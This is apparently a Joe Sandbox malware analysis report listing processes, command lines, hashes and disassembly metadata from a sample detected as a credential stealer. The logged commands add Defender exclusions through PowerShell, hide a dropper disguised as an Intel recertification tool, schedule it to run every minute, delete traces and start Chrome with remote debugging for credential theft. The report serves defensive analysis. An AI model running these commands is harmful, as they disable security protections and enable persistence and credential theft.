File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:10:48
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe"
Imagebase:	0x7f0000
File size:	21'504 bytes
MD5 hash:	14BECDF1E2402E9AA6C2BE0E6167041E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 11%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:10:48
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:10:50
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\wyxpjht"
Imagebase:	0x5c0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:10:50
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:10:55
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Imagebase:	0x5c0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:10:55
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe"
Imagebase:	0x610000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 71%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:10:55
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:10:55
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	08:10:58
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe"
Imagebase:	0x610000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	08:11:07
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	08:11:10
Start date:	19/12/2024
Path:	C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe
Wow64 process (32bit):	true
Commandline:	"C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe"
Imagebase:	0x580000
File size:	1'275'904 bytes
MD5 hash:	577CD52217DA6D7163CEA46BB01C107F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000002.3042824832.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000002.3042824832.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 61%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	08:11:13
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff604840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	08:11:13
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	08:11:13
Start date:	19/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff6a1c00000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	08:11:13
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0xf40000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	08:11:14
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0xf40000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	08:11:14
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0xf40000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	08:11:15
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0xf40000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	08:11:15
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0xf40000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	08:11:15
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0xf40000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	08:11:16
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0xf40000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	08:11:16
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	08:11:17
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0xf40000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	08:11:17
Start date:	19/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff611290000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	08:11:17
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff67c2f0000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	08:11:18
Start date:	19/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff611290000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	08:11:18
Start date:	19/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff611290000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	08:11:18
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	08:11:18
Start date:	19/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	08:11:18
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	08:11:18
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del in.exe
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	08:11:18
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	08:11:18
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	08:11:18
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2616 --field-trial-handle=2220,i,14010309326821436661,15778017259249604368,262144 /prefetch:8
Imagebase:
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.7%
Total number of Nodes:	750
Total number of Limit Nodes:	13

Executed Functions

Function 00CB652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00CB652A,?,?,?,?,?,00CB7661), ref: 00CB6566

Memory Dump Source

Source File: 00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1849783022.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849939463.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850497071.0000000000CE9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850569945.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850601920.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850753138.0000000000E47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850780359.0000000000E49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850943190.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850982351.0000000000E63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851059768.0000000000E73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851086084.0000000000E74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851108448.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851129363.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851152309.0000000000E80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851177718.0000000000E85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851199463.0000000000E86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851225951.0000000000E87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851253813.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851276875.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851306445.0000000000EA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851334703.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851362953.0000000000ECB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851388583.0000000000ECF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851411218.0000000000ED0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851434823.0000000000ED6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851459813.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851491399.0000000000EE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851517777.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851542435.0000000000EF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851569548.0000000000EFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851637922.0000000000F03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851741147.0000000000F04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851772896.0000000000F0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851794783.0000000000F12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851816474.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851845562.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851869020.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851906486.0000000000F2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851995226.0000000000F80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852021609.0000000000F81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852095743.0000000000F82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852128946.0000000000F88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852167185.0000000000F8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852226962.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852284573.0000000000F99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 41f099b908f0be913a8c428010ae1b1606dbb0b6aa91a3de94832cc9313382c2
Instruction ID: 7d6aa598340c4b9fa492c12af0a7837fd31db1f6af694975f7128b78d73be643
Opcode Fuzzy Hash: 41f099b908f0be913a8c428010ae1b1606dbb0b6aa91a3de94832cc9313382c2
Instruction Fuzzy Hash: D9E0C230142508AFCF3ABBA8CC4DEC83B69EF51760F041810FD184A236CB3ADE92D690

Function 05390C93 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1855638761.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85a7bc190c6ae893ccf6f7b4872d78bc5610f6be951db8198ed25ef6f333d85c
Instruction ID: 39f172890734aa113256c85b5d9dfb6bac28170b3fe473c34a97cd1f48831e2f
Opcode Fuzzy Hash: 85a7bc190c6ae893ccf6f7b4872d78bc5610f6be951db8198ed25ef6f333d85c
Instruction Fuzzy Hash: 78B012CD04C622B81B4E8015054C9F3088F84C4E302110584301FC6F0267948A118C65

Function 00C85C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000419, xrefs: 00C86098
00000422, xrefs: 00C860C9
0000043f, xrefs: 00C8612B
Keyboard Layout\Preload, xrefs: 00C86054
00000423, xrefs: 00C860FA

Memory Dump Source

Source File: 00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1849783022.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849939463.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850497071.0000000000CE9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850569945.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850601920.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850753138.0000000000E47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850780359.0000000000E49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850943190.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850982351.0000000000E63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851059768.0000000000E73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851086084.0000000000E74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851108448.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851129363.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851152309.0000000000E80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851177718.0000000000E85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851199463.0000000000E86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851225951.0000000000E87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851253813.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851276875.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851306445.0000000000EA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851334703.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851362953.0000000000ECB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851388583.0000000000ECF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851411218.0000000000ED0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851434823.0000000000ED6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851459813.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851491399.0000000000EE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851517777.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851542435.0000000000EF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851569548.0000000000EFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851637922.0000000000F03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851741147.0000000000F04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851772896.0000000000F0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851794783.0000000000F12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851816474.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851845562.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851869020.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851906486.0000000000F2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851995226.0000000000F80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852021609.0000000000F81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852095743.0000000000F82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852128946.0000000000F88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852167185.0000000000F8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852226962.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852284573.0000000000F99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: e04c86b62c097a997ef7f2b8c511afe1e5d06bbd01225b1bf2561f002efe1aef
Instruction ID: 1677f150cd9c4f6c913710f21fbdd0138852a8d9c5152ee02607fefe97a60bdc
Opcode Fuzzy Hash: e04c86b62c097a997ef7f2b8c511afe1e5d06bbd01225b1bf2561f002efe1aef
Instruction Fuzzy Hash: 79F1D2719002589BDF24DF54CC88BDEBBB9EF45304F5042A9F519A72C1DBB49A88CF94

Function 00C89BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C8A963
CreateMutexA.KERNEL32(00000000,00000000,00CE3254), ref: 00C8A981

Memory Dump Source

